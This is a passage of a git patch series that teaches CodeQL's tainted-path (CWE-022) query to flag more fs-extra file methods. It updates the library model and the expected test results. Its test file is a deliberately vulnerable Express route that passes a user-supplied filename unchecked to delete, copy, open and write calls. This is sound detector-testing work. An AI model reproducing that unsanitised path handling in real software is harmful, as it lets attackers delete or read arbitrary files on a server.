From 96a550582b2716589ecc60d81e24f8052f866ca3 Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:06:08 +0100 Subject: [PATCH 01/11] Added test cases for `fs-extra` missing features. --- .../CWE-022/TaintedPath/more-fs-extra.js | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js new file mode 100644 index 00000000000..e9bf5509021 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -0,0 +1,33 @@ +const express = require('express'); +const fs = require('fs-extra'); +const app = express(); + +app.use(express.json()); + +app.post('/rmsync', (req, res) => { + const { filename } = req.body; // $ MISSING: Source + + fs.rmSync(filename); // MISSING: $ Alert + fs.rm(filename); // MISSING: $ Alert + fs.rmdir(filename); // MISSING: $ Alert + fs.rmdirSync(filename); // MISSING: $ Alert + fs.cp(filename, "destination"); // MISSING: $ Alert + fs.cp("source", filename); // MISSING: $ Alert + fs.copyFileSync(filename, "destination"); // MISSING: $ Alert + fs.copyFileSync("source", filename); // MISSING: $ Alert + fs.cpSync(filename, "destination"); // MISSING: $ Alert + fs.cpSync("source", filename); // MISSING: $ Alert + fs.emptydirSync(filename); // MISSING: $ Alert + fs.emptydir(filename); // MISSING: $ Alert + fs.opendir(filename); // $ MISSING: Alert + fs.opendirSync(filename); // $ MISSING: Alert + fs.openAsBlob(filename); // $ MISSING: Alert + fs.statfs(filename); // $ MISSING: Alert + fs.statfsSync(filename); // $ MISSING: Alert + fs.open(filename, 'r'); // $ MISSING: Alert + fs.openSync(filename, 'r'); // $ MISSING: Alert + fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ MISSING: Alert + fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // MISSING: $ Alert + fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // MISSING: $ Alert + fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ MISSING: Alert +}); From 7a08f32e1639d566f05157c2ff2355e6afca309b Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:16:29 +0100 Subject: [PATCH 02/11] Added support for `cp` functions from `fs-extra`. --- .../javascript/frameworks/NodeJSLib.qll | 2 +- .../CWE-022/TaintedPath/TaintedPath.expected | 25 +++++++++++++++++++ .../CWE-022/TaintedPath/more-fs-extra.js | 14 +++++------ 3 files changed, 33 insertions(+), 8 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index bf5c2cafa5f..1ee002fa850 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -434,7 +434,7 @@ module NodeJSLib { * method might represent a file path. */ private predicate fsExtraExtensionFileParam(string methodName, int i) { - methodName = ["copy", "copySync", "copyFile"] and i = [0, 1] + methodName = ["copy", "copySync", "copyFile", "cp", "copyFileSync", "cpSync"] and i = [0, 1] or methodName = ["move", "moveSync"] and i = [0, 1] or diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index db9c0b11a35..81bab378adf 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -52,6 +52,12 @@ | handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value | | handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value | | hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value | +| more-fs-extra.js:14:11:14:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:14:11:14:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:15:21:15:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:15:21:15:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:16:21:16:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:16:21:16:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:17:31:17:38 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:17:31:17:38 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:18:15:18:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:18:15:18:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | @@ -347,6 +353,15 @@ edges | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance | | | hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | | | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | | +| more-fs-extra.js:8:11:8:22 | { filename } | more-fs-extra.js:8:13:8:20 | filename | provenance | Config | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:14:11:14:18 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:15:21:15:28 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:16:21:16:28 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:17:31:17:38 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:18:15:18:22 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance | | +| more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance | | +| more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance | | @@ -827,6 +842,16 @@ nodes | hapi.js:14:19:14:51 | filepath | semmle.label | filepath | | hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath | | hapi.js:15:44:15:51 | filepath | semmle.label | filepath | +| more-fs-extra.js:8:11:8:22 | { filename } | semmle.label | { filename } | +| more-fs-extra.js:8:11:8:33 | filename | semmle.label | filename | +| more-fs-extra.js:8:13:8:20 | filename | semmle.label | filename | +| more-fs-extra.js:8:26:8:33 | req.body | semmle.label | req.body | +| more-fs-extra.js:14:11:14:18 | filename | semmle.label | filename | +| more-fs-extra.js:15:21:15:28 | filename | semmle.label | filename | +| more-fs-extra.js:16:21:16:28 | filename | semmle.label | filename | +| more-fs-extra.js:17:31:17:38 | filename | semmle.label | filename | +| more-fs-extra.js:18:15:18:22 | filename | semmle.label | filename | +| more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename | | normalizedPaths.js:11:7:11:27 | path | semmle.label | path | | normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path | | normalizedPaths.js:13:19:13:22 | path | semmle.label | path | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js index e9bf5509021..f90de8b20f3 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -5,18 +5,18 @@ const app = express(); app.use(express.json()); app.post('/rmsync', (req, res) => { - const { filename } = req.body; // $ MISSING: Source + const { filename } = req.body; // $ Source fs.rmSync(filename); // MISSING: $ Alert fs.rm(filename); // MISSING: $ Alert fs.rmdir(filename); // MISSING: $ Alert fs.rmdirSync(filename); // MISSING: $ Alert - fs.cp(filename, "destination"); // MISSING: $ Alert - fs.cp("source", filename); // MISSING: $ Alert - fs.copyFileSync(filename, "destination"); // MISSING: $ Alert - fs.copyFileSync("source", filename); // MISSING: $ Alert - fs.cpSync(filename, "destination"); // MISSING: $ Alert - fs.cpSync("source", filename); // MISSING: $ Alert + fs.cp(filename, "destination"); // $ Alert + fs.cp("source", filename); // $ Alert + fs.copyFileSync(filename, "destination"); // $ Alert + fs.copyFileSync("source", filename); // $ Alert + fs.cpSync(filename, "destination"); // $ Alert + fs.cpSync("source", filename); // $ Alert fs.emptydirSync(filename); // MISSING: $ Alert fs.emptydir(filename); // MISSING: $ Alert fs.opendir(filename); // $ MISSING: Alert From e386448f60374bea8bac489863d5352998605809 Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:35:21 +0100 Subject: [PATCH 03/11] Added support for missing `rm` functions from `fs-extra` --- .../lib/semmle/javascript/frameworks/NodeJSLib.qll | 2 +- .../CWE-022/TaintedPath/TaintedPath.expected | 12 ++++++++++++ .../Security/CWE-022/TaintedPath/more-fs-extra.js | 8 ++++---- 3 files changed, 17 insertions(+), 5 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 1ee002fa850..9d944f3aa3a 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -450,7 +450,7 @@ module NodeJSLib { or methodName = ["readJson", "readJSON", "readJsonSync", "readJSONSync"] and i = 0 or - methodName = ["remove", "removeSync"] and i = 0 + methodName = ["remove", "removeSync", "rmSync", "rm", "rmdir", "rmdirSync"] and i = 0 or methodName = ["outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync"] and diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index 81bab378adf..6aec540a8c4 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -52,6 +52,10 @@ | handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value | | handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value | | hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value | +| more-fs-extra.js:10:15:10:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:10:15:10:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:11:11:11:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:11:11:11:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:12:14:12:21 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:12:14:12:21 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:13:18:13:25 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:13:18:13:25 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:14:11:14:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:14:11:14:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:15:21:15:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:15:21:15:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:16:21:16:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:16:21:16:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | @@ -354,6 +358,10 @@ edges | hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | | | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | | | more-fs-extra.js:8:11:8:22 | { filename } | more-fs-extra.js:8:13:8:20 | filename | provenance | Config | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:10:15:10:22 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:11:11:11:18 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:12:14:12:21 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:13:18:13:25 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:14:11:14:18 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:15:21:15:28 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:16:21:16:28 | filename | provenance | | @@ -846,6 +854,10 @@ nodes | more-fs-extra.js:8:11:8:33 | filename | semmle.label | filename | | more-fs-extra.js:8:13:8:20 | filename | semmle.label | filename | | more-fs-extra.js:8:26:8:33 | req.body | semmle.label | req.body | +| more-fs-extra.js:10:15:10:22 | filename | semmle.label | filename | +| more-fs-extra.js:11:11:11:18 | filename | semmle.label | filename | +| more-fs-extra.js:12:14:12:21 | filename | semmle.label | filename | +| more-fs-extra.js:13:18:13:25 | filename | semmle.label | filename | | more-fs-extra.js:14:11:14:18 | filename | semmle.label | filename | | more-fs-extra.js:15:21:15:28 | filename | semmle.label | filename | | more-fs-extra.js:16:21:16:28 | filename | semmle.label | filename | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js index f90de8b20f3..c1da0d1d959 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -7,10 +7,10 @@ app.use(express.json()); app.post('/rmsync', (req, res) => { const { filename } = req.body; // $ Source - fs.rmSync(filename); // MISSING: $ Alert - fs.rm(filename); // MISSING: $ Alert - fs.rmdir(filename); // MISSING: $ Alert - fs.rmdirSync(filename); // MISSING: $ Alert + fs.rmSync(filename); // $ Alert + fs.rm(filename); // $ Alert + fs.rmdir(filename); // $ Alert + fs.rmdirSync(filename); // $ Alert fs.cp(filename, "destination"); // $ Alert fs.cp("source", filename); // $ Alert fs.copyFileSync(filename, "destination"); // $ Alert From 55c74b2bacdf02135e3d22544ae84dfb4ae457b3 Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:41:02 +0100 Subject: [PATCH 04/11] Added support for `emptydir` functions from `fs-extra`. --- .../ql/lib/semmle/javascript/frameworks/NodeJSLib.qll | 2 +- .../Security/CWE-022/TaintedPath/TaintedPath.expected | 6 ++++++ .../Security/CWE-022/TaintedPath/more-fs-extra.js | 4 ++-- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 9d944f3aa3a..d4150ca741b 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -462,7 +462,7 @@ module NodeJSLib { or methodName = ["ensureSymlink", "ensureSymlinkSync"] and i = [0, 1] or - methodName = ["emptyDir", "emptyDirSync"] and i = 0 + methodName = ["emptyDir", "emptyDirSync", "emptydir", "emptydirSync"] and i = 0 or methodName = ["pathExists", "pathExistsSync"] and i = 0 } diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index 6aec540a8c4..9e937615180 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -62,6 +62,8 @@ | more-fs-extra.js:17:31:17:38 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:17:31:17:38 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:18:15:18:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:18:15:18:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:20:21:20:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:20:21:20:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:21:17:21:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:21:17:21:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | @@ -368,6 +370,8 @@ edges | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:17:31:17:38 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:18:15:18:22 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:20:21:20:28 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:21:17:21:24 | filename | provenance | | | more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance | | | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | | @@ -864,6 +868,8 @@ nodes | more-fs-extra.js:17:31:17:38 | filename | semmle.label | filename | | more-fs-extra.js:18:15:18:22 | filename | semmle.label | filename | | more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename | +| more-fs-extra.js:20:21:20:28 | filename | semmle.label | filename | +| more-fs-extra.js:21:17:21:24 | filename | semmle.label | filename | | normalizedPaths.js:11:7:11:27 | path | semmle.label | path | | normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path | | normalizedPaths.js:13:19:13:22 | path | semmle.label | path | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js index c1da0d1d959..a4d83625840 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -17,8 +17,8 @@ app.post('/rmsync', (req, res) => { fs.copyFileSync("source", filename); // $ Alert fs.cpSync(filename, "destination"); // $ Alert fs.cpSync("source", filename); // $ Alert - fs.emptydirSync(filename); // MISSING: $ Alert - fs.emptydir(filename); // MISSING: $ Alert + fs.emptydirSync(filename); // $ Alert + fs.emptydir(filename); // $ Alert fs.opendir(filename); // $ MISSING: Alert fs.opendirSync(filename); // $ MISSING: Alert fs.openAsBlob(filename); // $ MISSING: Alert From e1bf054056d08fd4d527eba3e9626aad4370bebc Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 10:54:39 +0100 Subject: [PATCH 05/11] Added support for `lutimes`, `opendir`, and `statfs` functions from `fs-extra`. --- .../javascript/frameworks/NodeJSLib.qll | 11 ++++++- .../CWE-022/TaintedPath/TaintedPath.expected | 33 +++++++++++++++++++ .../CWE-022/TaintedPath/more-fs-extra.js | 22 ++++++------- 3 files changed, 54 insertions(+), 12 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index d4150ca741b..73381006a47 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -453,7 +453,10 @@ module NodeJSLib { methodName = ["remove", "removeSync", "rmSync", "rm", "rmdir", "rmdirSync"] and i = 0 or methodName = - ["outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync"] and + [ + "outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync", + "outputJSONSync", "outputJsonSync" + ] and i = 0 or methodName = ["ensureFile", "ensureFileSync"] and i = 0 @@ -465,6 +468,12 @@ module NodeJSLib { methodName = ["emptyDir", "emptyDirSync", "emptydir", "emptydirSync"] and i = 0 or methodName = ["pathExists", "pathExistsSync"] and i = 0 + or + methodName = ["lutimes", "lutimesSync"] and i = 0 + or + methodName = + ["opendir", "opendirSync", "openAsBlob", "statfs", "statfsSync", "open", "openSync"] and + i = 0 } /** diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected index 9e937615180..4147726065e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected @@ -64,6 +64,17 @@ | more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:20:21:20:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:20:21:20:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | more-fs-extra.js:21:17:21:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:21:17:21:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:22:16:22:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:22:16:22:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:23:20:23:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:23:20:23:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:24:19:24:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:24:19:24:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:25:15:25:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:25:15:25:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:26:19:26:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:26:19:26:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:27:13:27:20 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:27:13:27:20 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:28:17:28:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:28:17:28:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:29:23:29:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:29:23:29:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:30:16:30:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:30:16:30:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:31:20:31:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:31:20:31:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | +| more-fs-extra.js:32:23:32:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:32:23:32:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value | | normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | | normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value | @@ -372,6 +383,17 @@ edges | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:20:21:20:28 | filename | provenance | | | more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:21:17:21:24 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:22:16:22:23 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:23:20:23:27 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:24:19:24:26 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:25:15:25:22 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:26:19:26:26 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:27:13:27:20 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:28:17:28:24 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:29:23:29:30 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:30:16:30:23 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:31:20:31:27 | filename | provenance | | +| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:32:23:32:30 | filename | provenance | | | more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance | | | more-fs-extra.js:8:26:8:33 | 